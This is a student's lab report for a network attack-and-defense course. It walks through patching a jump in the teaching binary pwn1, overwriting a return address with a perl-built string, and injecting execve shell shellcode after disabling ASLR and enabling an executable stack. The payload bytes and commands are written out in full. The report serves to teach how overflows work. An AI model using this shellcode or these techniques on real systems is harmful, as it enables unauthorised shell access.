20231913 2023-2024-2 《网络攻防实践》实践九报告
1.实践过程
1.1手工修改可执行文件
首先将 kali 虚拟机名称改为 zhouchuang
(下面的几张图片主机名还是kali,是因为当时不知道hostname是临时改名,需要重新打开一个终端才可以显示,后面问题和参考资料里有解释,学会时想重新做一遍发现重复命令已经不能生效了。在1.2开始主机名改了过来)
学习通文件pwn1文件拖到kali里面
输入 objdump -d pwn1 | more ,对pwn1文件进行反汇编
有getShell、foo和main函数
main函数中第四行是在调用08048491地址的foo函数,且其对应的机器指令为:e8 d7 ff ff ff
80484ba + d7 ff ff ff = 08048491
要直接跳转到getShell函数,就只需要修改foo函数的地址为getShell函数地址即可
804847d - 80484ba = c3 ff ff ff
可得要修改的机器指令为:e8 c3 ff ff ff
输入 cp pwn1 pwn20231913 对pwn1文件进行保护
输入 vi pwn20231913 对 pwn20231913文件进行修改
乱码
乱码不好修改
输入 :%!xxd 将其变为16进制
将d7ffffff改为c3ffffff
输入 :%!xxd -r 还原原始格式保存退出。
输入 objdump -d pwn20231906 | more 验证已成功修改
重新运行一下pwn1文件和pwn20231913
显示攻击成功
1.2构造输入字符串
输入 objdump -d pwn1 | more 查看pwn1文件
有函数 getShell、foo、main
安装gdb
输入 gdb pwn1 对文件pwn1进行调试
输入r运行
输入1111111122222222333333334444444455555555 ,可以看到eip的值0x35353535 也就是 5555 的 ASCII码
输入长字符串1111111122222222333333334444444412345678,看到1234将覆盖到堆栈上的返回地址
确认getShell的内存地址为0804847d
输入命令perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > 20231913
输入命令 xxd 20231913 查看文件的内容是否如预期
输入 (cat 20231906; cat) | ./pwn1,将20231913的输入作为pwn1的输入
攻击成功
(这里的20221913是因为之前输错了,重新输入了一遍命令,导致输入了两个学号)
1.3注入shellcode并运行
安装execstack
输入 execstack -s pwn1 设置堆栈可执行
输入 execstack -q pwn1 查询文件的堆栈是否可执行
输入 echo “0” > /proc/sys/kernel/randomize_va_space 关闭地址随机化
使用输出重定向将perl生成的字符串存储到文件中:
perl -e ‘print “\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ > input_20231906
输入 (cat input_20221905;cat) | ./pwn1 注入攻击buf
重新打开一个终端,输入ps -ef | grep pwn1 查看pwn1的进程号
从图中可以看出进程号为 131810
在新的终端输入 gdb pwn1
输入 attach 131810 查看pwn1进程
然后输入 disassemble foo
输入 break *0x080484ae 在 0x080484ae 处设置断点
返回第一个终端按下回车
在第二个终端输入 c 继续运行
输入 info r esp 查看栈顶指针所在的位置为 0xffffd3ac
输入x/16x 0xffffd3ac
发现 0xffffd3ac 中有值 01020304
输入perl -e ‘print “A” x 32;print “\x10\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00”’ > input_20221905 重新构造 input_20231913文件
最后输入 (cat input_20221905;cat) | ./pwn1
可以看到攻击成功
2.学习中遇到的问题及解决
-
问题1:无法安装xxd
-
-
问题1解决方案:进入直接的快照更新了源后才成功安装
-
问题2:修改主机名后发现名称还是kali
-
问题2解决方案:百度后发现原来hostname只是临时修改,需要再打开一个终端才能显示新的主机名
-
问题3:换源时出现无法退出的问题
-
问题3解决方案:百度解决 强制退出并信任(见参考资料附的网址)
-
问题4:安装不了execstack
-
问题4解决方案:在上届学长的报告中看到了相似问题,换源后解决(见参考资料)
3.实践总结
在本次实验中我对缓冲区溢出的原理有了非常直观的认识,以及对其的攻击方式我进行了实操掌握,对vim编辑更加熟练,了解了gbd、execstack等工具的运用。更重要的是,在实验过程中我遇到很多问题,比如安装不了工具、某一步一直提示错误等等,我都经过不懈努力解决了问题,虽然消耗了很多时间,但在成功之后会觉得很有意义。